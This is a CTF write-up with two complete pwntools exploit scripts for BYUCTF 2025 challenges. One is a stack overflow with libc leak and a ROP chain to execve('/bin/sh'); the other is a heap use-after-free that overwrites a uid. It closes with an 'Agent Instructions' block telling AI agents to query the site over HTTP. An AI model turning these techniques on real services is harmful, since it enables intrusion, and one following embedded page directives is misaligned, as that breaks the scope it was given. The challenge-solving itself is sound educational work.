# PWN

### Game of YAP

#### Exploit

```python
# docker container run -it ubuntu:24.04@sha256:3afff29dffbc200d202546dc6c4f614edc3b109691e7ab4aa23d02b42ba86790 /bin/bash
# docker cp ubuntu:/lib/x86_64-linux-gnu/libc.so.6 ./libc-24.04.so
# docker cp ubuntu:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ld-24.04.so
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'env LD_PRELOAD=./libc-24.04.so ./ld-24.04.so ./game-of-yap'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--libc', action='store_true', help='Use libc and linker for local testing')
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './game-of-yap'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

libc = None
ld = './ld-24.04.so'
env = {
    'LD_PRELOAD': None
}

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def chance(data):
    io.sendafter(b"...\n", data)

def exploit():
    global libc
    
    libc = ELF(libc) 
    
    debug('Calculating ELF base')
    
    junk = b'A' * 0x108 # offset to return address

    # Leak Play function address
    payload = flat([
        junk,
        p8(0x80)  # 1280 yap function
    ])
    chance(payload)
    
    elf.address = int(io.recvline().decode().rstrip(), 16) - elf.symbols['play']
    log.success(f'ELF base: {hex(elf.address)}')
    
    # Return to main
    payload = flat([
        junk,
        elf.symbols['main']
    ])
    chance(payload)
    
    debug('Calculating LIBC base')
    
    payload = flat([
        junk,
        elf.address + 0x1247,  # call putschar, after call the rsi = libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in nothing
        elf.address + 0x128A,  # printf('%p', rsi) to leak libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in yap
        elf.symbols['main'],
    ])
    chance(payload)
    io.recvline() # for putchar
    
    libc.address = int(io.recvline().rstrip(), 16) - libc.symbols['_IO_2_1_stdout_'] - 0x83
    log.success(f'LIBC base: {hex(libc.address)}')
    
    debug('Execute execve')
    
    rop = ROP(libc)
    
    payload = flat([
        junk,
        rop.find_gadget(['pop rdi', 'ret'])[0],
        next(libc.search(b"/bin/sh\x00")), # rdi = "/bin/sh"
        rop.find_gadget(['pop rsi', 'ret'])[0], 
        0, # rsi = 0
        libc.address + 0xb502c,  # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
        0, # rdx = 0
        0,  # rbx = 0 (doesn't matter)
        0,  # r12 = 0 (doesn't matter)
        0,  # r13 = 0 (doesn't matter)
        0,  # rbp = 0 (doesn't matter)
        libc.symbols['execve']
    ])
    chance(payload)
    debug('Finished')

    io.interactive()

def local():
    global io, libc, env
    log.info('Starting local exploit')

    if args.libc:
        libc = './libc-24.04.so'
        env['LD_PRELOAD'] = libc
        io = process([ld, executable], env=env)
    else:
        libc = './libc.kali.so'
        io = process(executable)
    
    exploit()

def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')
    libc = './libc-24.04.so'
    io = remote(ip, port)
    exploit()
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()
```

#### Challenge files

{% embed url="<https://github.com/BYU-CSA/BYUCTF-2025/tree/main/pwn/game-of-yap>" %}

### Minecraft Youtube

#### Exploit

```python
# echo -n 'THC{HelloWorld}' > flag.txt
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'./minecraft'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './minecraft'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def menu(option):
    io.sendlineafter(b'6. Leave\n', option)

def username(name):
    io.sendafter(b'Please go ahead an type your username now: \n', name)

def register(name):
    menu(b'1')
    username(name)

def collect(first, last):
    while True:
        menu(b'3')
        resp = io.recvline()
        if b'Please input your first and last name:\n' in resp:
            io.send(first)
            io.send(last)
            break

def logout():
    menu(b'5')
    io.recvuntil(b'. \n')
    
def keycard():
    menu(b'4')
    resp = io.recvline()
    if b'take this key card' in resp:
        log.success('Successfully got keycard!')
        return True
    else:
        log.failure('Failed to get keycard - exploit didn\'t work!')
    return False

def flag():
    menu(b'7')
    

def exploit():
    username(b'AAAAAAAA')
    collect(b'BBBBBBBB', b'CCCCCCCC')
    
    menu(b'3') # trigger free chunk

    register(b'DDDDDDDD') # user and nametag global vars points to the same chunk
    collect(b'E' * 8, b'F' * 8) # free chunk and overwrite uid

    if keycard():
        flag()
        io.recvline() # drop loki msg
        log.success(f'Flag: {io.recvline().decode().rstrip()}')
        return True
    return False

def local():
    global io
    log.info('Starting local exploit')
    
    exploited = False
    while not exploited:
        try:
            io = process(executable, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: {e}')
        finally:
            try: io.close()
            except: pass
    
def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')

    exploited = False
    while not exploited:
        try:
            io = remote(ip, port, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: incorrect seed')
        finally:
            try: io.close()
            except: pass
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()
```

#### Challenge files

{% embed url="<https://github.com/BYU-CSA/BYUCTF-2025/tree/main/pwn/minecraft_youtube>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/byuctf-2025/pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
